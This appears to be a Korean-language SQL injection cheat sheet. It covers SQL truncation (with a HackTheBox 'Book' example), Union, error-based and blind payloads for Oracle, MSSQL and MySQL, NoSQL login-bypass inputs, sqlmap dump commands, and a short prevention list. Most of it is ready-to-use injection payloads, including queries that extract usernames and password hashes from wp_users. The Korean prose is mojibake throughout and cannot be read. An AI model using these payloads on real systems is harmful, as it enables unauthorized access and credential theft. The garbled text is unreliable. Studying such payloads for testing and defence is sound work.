๐ What is SQL injection?
SQL Truncation
SQL Truncation (SQL ์ ๋จ ๊ณต๊ฒฉ)
SQL Truncation
์ทจ์ฝ์ ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ๊ธธ์ด ์ ํ์ผ๋ก ์ธํด ์ฌ์ฉ์ ์
๋ ฅ์ ์๋ฅผ ๋ ๋ฐ์ํฉ๋๋ค.
๊ณต๊ฒฉ์๋ ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๊ฐ์ ์ค์ํ ํ๋์ ๊ธธ์ด์ ๋ํ ์ ๋ณด๋ฅผ ์์งํ๊ณ ์ด ์ ๋ณด๋ฅผ ์
์ฉํ์ฌ ๋ฌด๋จ ์ก์ธ์ค๋ฅผ ์ป์ ์ ์์ต๋๋ค.
SQL ์ ๋จ ์ทจ์ฝ์ ์ ์ผ๋ฐ์ ์ผ๋ก MySQL ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์กด์ฌํฉ๋๋ค. ์ด ์ทจ์ฝ์ ์ WordPress CMS์ ๊ด๋ จ๋ CVE-2008-4106์์ ์ฒ์ ์ค๋ช
๋์์ต๋๋ค.
๊ณต๊ฒฉ ์์ : HTB-Book ์ฐธ์กฐ
ํ์ ๊ฐ์ ์ ์ด๋ฉ์ผ ํ๋์์ 20๊ธ์์ ์ ํ๊ณผ admin์ ์ด๋ฉ์ผ ๊ณ์ ์ด admin@book.htb ์ธ๊ฒ์ ํ์ธ
20๊ธ์์ ์ ํ์ด๋ฏ๋ก ์คํ์ด์ค(+๊ณต๋ฐฑ)์ ์ถ๊ฐํ์ฌ 20๊ธ์ ์ ์์์ ๋ฌธ์์ด์ ์ถ๊ฐํ์ฌ ๊ณ์ ์์ฑ ์ 20๊ธ์ ์ดํ์ ๋ฌธ์์ด์ ์๋ฆฌ๊ฒ ๋๊ณ ๊ณต๋ฐฑ๋ง ๋จ๊ฒ๋์ด admin@book.htb์ ๊ณ์ ์ด ์ค๋ณต ์์ฑ๋์ด admin๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธ ๊ฐ๋ฅ
๐ Cheat sheet
Oracle
-
Union SQL
' order by 1--
# ๋ฐ์ดํฐ ํ ์กฐํ
NULL ํ = ' union select null,null,null from dual --
์ซ์ํ = ' union select null,null,123 from dual --
๋ฌธ์ํ = ' union select null,null,'123' from dual --
# ํ
์ด๋ธ ๋ช
์กฐํ
' union select null,table_name,null,null from all_tables --
# ์ปฌ๋ผ ๋ช
์กฐํ
' union select null,column_name,null,null from all_tab_columns where table_name='useegod' --
# ๋ฐ์ดํฐ ์กฐํ
' union select null,alias,null,name from useegod --
-
Error Based SQL
# ํ
์ด๋ธ ๊ฐ์ ํ์ธ
a%' and ctxsys.drithsx.sn(user,(select count(table_name) from user_tables))=1 and '%1%'='%1
# ํ
์ด๋ธ ๋ช
์กฐํ
a%' and ctxsys.drithsx.sn(user,(select table_name from (select table_name, rownum as rnum from user_tables) where rnum=1))=1 and '%1%'='%1
# ํ
์ด๋ธ ์ปฌ๋ผ ๊ฐฏ์ ์กฐํ
a%' and ctxsys.drithsx.sn(user,(select count(column_name) from all_tab_columns where table_name='useegod_ANSWER'))=1 and '%1%'='%1
# ์ปฌ๋ผ ๋ช
์กฐํ
a%' and ctxsys.drithsx.sn(user,(select column_name from (select column_name,rownum as rnum from all_tab_columns where table_name='useegod_ANSWER') where rnum=1))= 1 and '%1%'='%1
# ๋ฐ์ดํฐ ๊ฐฏ์ ์กฐํ
a%' and ctxsys.drithsx.sn(user,(select count(ANSWER_COLUMN) from useegod_ANSWER))=1 and '%1%'='%1
# ๋ฐ์ดํฐ ์กฐํ
a%' and ctxsys.drithsx.sn(user,(select ANSWER_COLUMN from (select ANSWER_COLUMN, rownum as rnum from useegod_ANSWER) where rnum=1))=1 and '%1%'='%1
-
Blind SQL
# ํ
์ด๋ธ ๊ฐ์ ํ์ธ
' and (select count(table_name) from all_tables) < 74 --
# ํ
์ด๋ธ ๋ช
์กฐํ
' and ascii(substr((select table_name from (select rownum as rnum,table_name from user_tables) where rnum=1),1,1)) < 130 --
# ์ปฌ๋ผ ๊ฐ์ ์กฐํ
' and (select count(column_name) from all_tab_columns where table_name='useegod')=21 --
# ์ปฌ๋ผ๋ช
์กฐํ
' and ascii(substr((select column_name from (select rownum as rnum, column_name from all_tab_columns where table_name ='useegod') where rnum=1),1,1)) < 130 --
# ๋ฐ์ดํฐ ์ ์กฐํ
' and (select count(userID) from USEEGOD) < 324 --
# ๋ฐ์ดํฐ ์กฐํ
' AND ASCII(SUBSTR((SELECT userID FROM (SELECT ROWNUM AS RNUM, userID FROM USEEGOD) WHERE RNUM=1),1,1)) < 130 --
MsSQL
-
Union SQL
# ์ปฌ๋ผ ๊ฐ์ ํ์
' union select null,null from information_schema.tables --
# ์ปฌ๋ผ ๋ฐ์ดํฐ ํ ํ์
' union select '1234',null from information_schema.tables --
# ํ
์ด๋ธ ๋ช
์กฐํ
' union select table_name,null from information_schema.tables --
# ์ปฌ๋ผ ๋ช
์กฐํ
' union select column_name,null from information_schema.columns where table_name='user' --
# ๋ฐ์ดํฐ ํ์ธ
' union select id,null from users --
' union select name,null from users --
' union select pass,null from useres --
MySQL
-
Union SQL
# ์ปฌ๋ผ ๊ฐ์ ํ์
' order by 24#
' or 1=2 union select 1,2,3,4,5,6,7,8,9,@@version,11#
# ํ
์ด๋ธ ๋ช
์กฐํ
' or 1=2 union select 1,2,3,4,5,6,7,8,9,table_name,11 from information_schema.tables#
# ์ปฌ๋ผ ๋ช
์กฐํ
' or 1=2 union select 1,2,3,4,5,6,7,8,9,column_name,11 from information_schema.columns WHERE table_name='wp_users'#
# ๋ฐ์ดํฐ ํ์ธ
' or 1=2 union select 1,2,3,4,5,6,7,8,9,user_login,11 from wp_users#
' or 1=2 union select 1,2,3,4,5,6,7,8,9,user_pass,11 from wp_users#
-
Error Based SQL
a%' and extractvalue(rand(),concat(0x3a,version())) and '%1%'='%1
# ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ช
์กฐํ
a%' and extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_name) FROM information_schema.schemata LIMIT 0,1))) and '%1%'='%1
# ํ
์ด๋ธ ๋ช
์กฐํ
a' and extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM information_schema.TABLES WHERE table_schema="skinfosec" LIMIT 0,1))) and '%1%'='%1
# ์ปฌ๋ผ ๋ช
์กฐํ
a%' and extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_NAME="eqst_answer" LIMIT 0,1))) and '%1%'='%1
NoSQL
๋น๊ต์ฐ์ฐ์ | ์ฐ์ฐ์กฐ๊ฑด |
---|---|
NOT_NULL | ๊ฐ์ด ์กด์ฌํ๋ฉด |
NULL | ๊ฐ์ด ์กด์ฌํ์ง ์์ผ๋ฉด |
EQ(Equal) | ๊ฐ์ด ๊ฐ์ผ๋ฉด |
NE(Not Equal) | ๊ฐ์ด ๊ฐ์ง ์์ผ๋ฉด |
LE(Less than or EQ) | ๊ฐ์ด ์๊ฑฐ๋ ๊ฐ์ผ๋ฉด |
LT(Less than) | ๊ฐ๋ณด๋ค ์์ผ๋ฉด |
GT(Greater than) | ๊ฐ๋ณด๋ค ํฌ๋ฉด |
GE(Greater than or EQ) | ๊ฐ์ด ํฌ๊ฑฐ๋ ๊ฐ์ผ๋ฉด |
CONTAINS | ์งํฉ ๋ด ํฌํจ๋จ |
NOT_CONTAINS | ์งํฉ ๋ด ํฌํจ๋์ง ์์ |
BEGINS_WITH | ์ฒซ๋ฒ์งธ ๋ฌธ์ ์ผ์น |
BETWEEN | ๊ฐ์ด ์ฌ์ด์ ์กด์ฌํ๋ฉด |
IN | ๊ฐ์ ์ด๊ฑฐ ๋ชฉ๋ก ์ค ํ๋๋ผ๋ ์ฐธ์ด๋ฉด |
-
Basic Authentication Bypass
# Basic authentication bypass using not equal ($ne) or greater ($gt)
in DATA
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
-
SQL - Mongo
Normal sql:
' or 1=1-- -
Mongo sql:
' || 1==1//
' || 1==1%00
' || '1==1
-
sqlmap
sqlmap -r login.req
# ๋ฐ์ดํฐ๋ฒ ์ด์ค ์กฐํ
sqlmap -r login.req --dbs
# main ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ด์ ํ
์ด๋ธ ์กฐํ
sqlmap -r login.req -D main --tables
# main ๋ฐ์ดํฐ๋ฒ ์ด์ค user ํ
์ด๋ธ ๋ด์ฉ ๋คํ
sqlmap -r login.req -D main -T user --dump
๐ How to Prevent ?
- ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ฐ๋ํ๋ ๋ชจ๋ ํ๋ผ๋ฏธํฐ๋ค์ ๋ํด ์ฌ์ฉ์์ ์ ๋ ฅ ๊ฐ์ด SQL ์ฟผ๋ฆฌ๋ก ํด์๋์ง ์๋๋ก ํน์ค๋ฌธ์ (โ, โ, /, \, ; , :, Space, โ, +, =, (, ), #, %, <,> ) ๋ฐ ์ธ์ ์ ํค์๋(union, select, update, drop, cmshell, xp, sp ๋ฑ)์ ๋ํ ๋ฌธ์์ด ๊ฒ์ฆ ๋ก์ง ์ถ๊ฐ
- MS-SQL์ ๊ฒฝ์ฐ ์ฌ์ฉํ์ง ์๋ Master Table ๋ด์ ํ๋ก์์ ๋ฅผ ์ ๊ฑฐํด์ผ ํจ (xp_cmdshell, xp_stratmail, xp_sendmail, xp_grantlogin, sp_makewebtask, xp_regred, xp_regwrite)
- JSP๋ก ๊ตฌํ๋ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ๊ฒฝ์ฐ PreparedStatement ํด๋์ค๋ฅผ ์ฌ์ฉํ์ฌ ๋งค๊ฐ๋ณ์ ๊ฐ์ ๋ฌธ์์ด๋ก ์ฒ๋ฆฌ๋ ์ ์๋๋ก setString ๋ฑ๊ณผ ๊ฐ์ setXXX ํจ์๋ฅผ ์ฌ์ฉํ์ฌ ๊ตฌํ
- DB์๋ฌ ๋ฉ์์ง๋ ๊ณต๊ฒฉ์์๊ฒ ์ ๋ณด๋ฅผ ์ ๊ณตํ๋ฏ๋ก ์๋ฌ๋ฉ์์ง ๋ฐ DBMS์์ ์ ๊ณตํ๋ ์๋ฌ์ฝ๋๊ฐ ๋ ธ์ถ๋์ง ์๋๋ก ์์ธ์ฒ๋ฆฌ ์ ์ฉ
- ORM(Object Relational Mapper)๊ฐ์ ๊ฒ์ฆ๋ SQL ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ์ฌ ์์ ํ ์ฟผ๋ฆฌ ์์ฑ ๊ถ์ฅ